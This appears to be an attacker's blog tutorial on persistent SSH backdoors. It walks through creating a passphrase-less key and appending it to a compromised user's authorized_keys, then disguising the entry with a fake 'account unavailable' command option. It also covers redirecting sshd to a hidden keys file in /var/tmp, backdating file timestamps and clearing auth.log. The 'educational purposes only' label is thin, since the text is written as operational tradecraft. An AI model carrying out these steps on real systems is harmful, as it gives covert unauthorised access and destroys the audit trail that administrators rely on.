[Oh_Well]

The silent key: SSH Persistence with SSH-Keys

The difference between making a entrance and owning the house.
For educational purposes only

Someone popped a shell. they got user credentials. But what happens when the admin changes the password? They get locked out.

This is how someone becomes a ghost in the machine. This is about SSH Key-Based Authentication.

1. The Principle: Trust, Not Force

Instead of relying on a password, SSH allows authentication using cryptographic key pairs: a private key (personal master key, never shared) and a public key (a lock, placed on the target). When they match, access is granted. This is more secure than passwords, and for the attacker, it's a perfect way to establish a persistent, hard-to-detect connection.

2. Generating a Keypair (Forging the Key)

Ssh-keygen is the simplest way for someone to create an SSH key.

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The standard command. RSA is universal.
ssh-keygen -t rsa -b 4096

For modern systems, ed25519 is faster and more secure.
ssh-keygen -t ed25519

Systems prompts you to:

Enter file in which to save the key (/home/you/.ssh/id_rsa): You can also give it a friendly name

Enter passphrase (empty for no passphrase): HIT ENTER. A passphrase encrypts the private key, which is good for OpSec but bad for automation. Someone could prefer trading a bit of security for raw persistence.

This creates two files:

target_host_id_rsa -> The PRIVATE KEY. This remains private.
target_host_id_rsa.pub -> The PUBLIC KEY. This is what you'll plant.

3. Planting the Key (Picking the Lock)

You have a shell on the target. Now you need to append your public key to the target user's authorized_keys file.

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The classic, one-line method. Echo your public key into the file.
This assumes you have write permissions to the user's .ssh directory.
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD...BLongPublicKeyString...uM2E9X' >> ~/.ssh/authorized_keys

If the .ssh directory doesn't exist, create it and set the correct permissions!

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mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Pro-Tip: Copy your public key to the target's clipboard (or write it to a temporary file) and then append it. This is more reliable than trying to echo a massive string.

4. The Silent Return (Walking Through the Door)

The backdoor is set. To return, simply use the -i flag with ssh to specify your private key.

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ssh -i target_host_id_rsa [email protected]

No password prompt. Just instant, silent access.

5. Advanced Tradecraft: The Art of Hiding

A line in authorized_keys is obvious. You need to make it invisible.

Hide in Plain Sight: Add your key to the middle of the authorized_keys file, not the end.

Stealth Options: You can prepend options to your key entry in the authorized_keys file to make it harder to spot and use. Edit the file on the target:

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Example: Restrict the key to a single command and disable all features.
command="echo 'This account is currently unavailable.'",no-agent-forwarding,no-port-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2E...YourKeyHere...

This looks like a lockdown measure, not a backdoor. An admin might skip over it. (To actually get a shell with this, you'd need to bypass the command, which is a
topic for another guide).

Alternative Locations: You can tell SSH to use a different authorized_keys file. This is more advanced but excellent for hiding.

On the target, edit /etc/ssh/sshd_config and add: AuthorizedKeysFile /etc/ssh/authorized_keys /etc/ssh/authorized_keys2 /var/tmp/.hidden_keys

Plant your key in /var/tmp/.hidden_keys.

Restart the SSH service: sudo systemctl restart ssh (Warning: This can be noisy!).

6. OpSec & Detection Evasion

• Set Timestamps: Use touch -t to set the authorized_keys file timestamps to match the other files in the directory. touch -t 202301011200 ~/.ssh/authorized_keys
  
• Log Cleaning: If you had to restart SSH, you'll need to clean the logs in /var/log/auth.log (Linux) or the Security Log (Windows OpenSSH). Morgana is particularly fond of this step.
  
• The Kill Switch: Always have a way back in. Don't rely on a single method. What if the key is discovered? Maintain other persistence.
  

Conclusion: Password authentication is for guests. Key-based authentication is for owners.

Code

ssh-keygen -t ed25519 -f ./my_ghost_key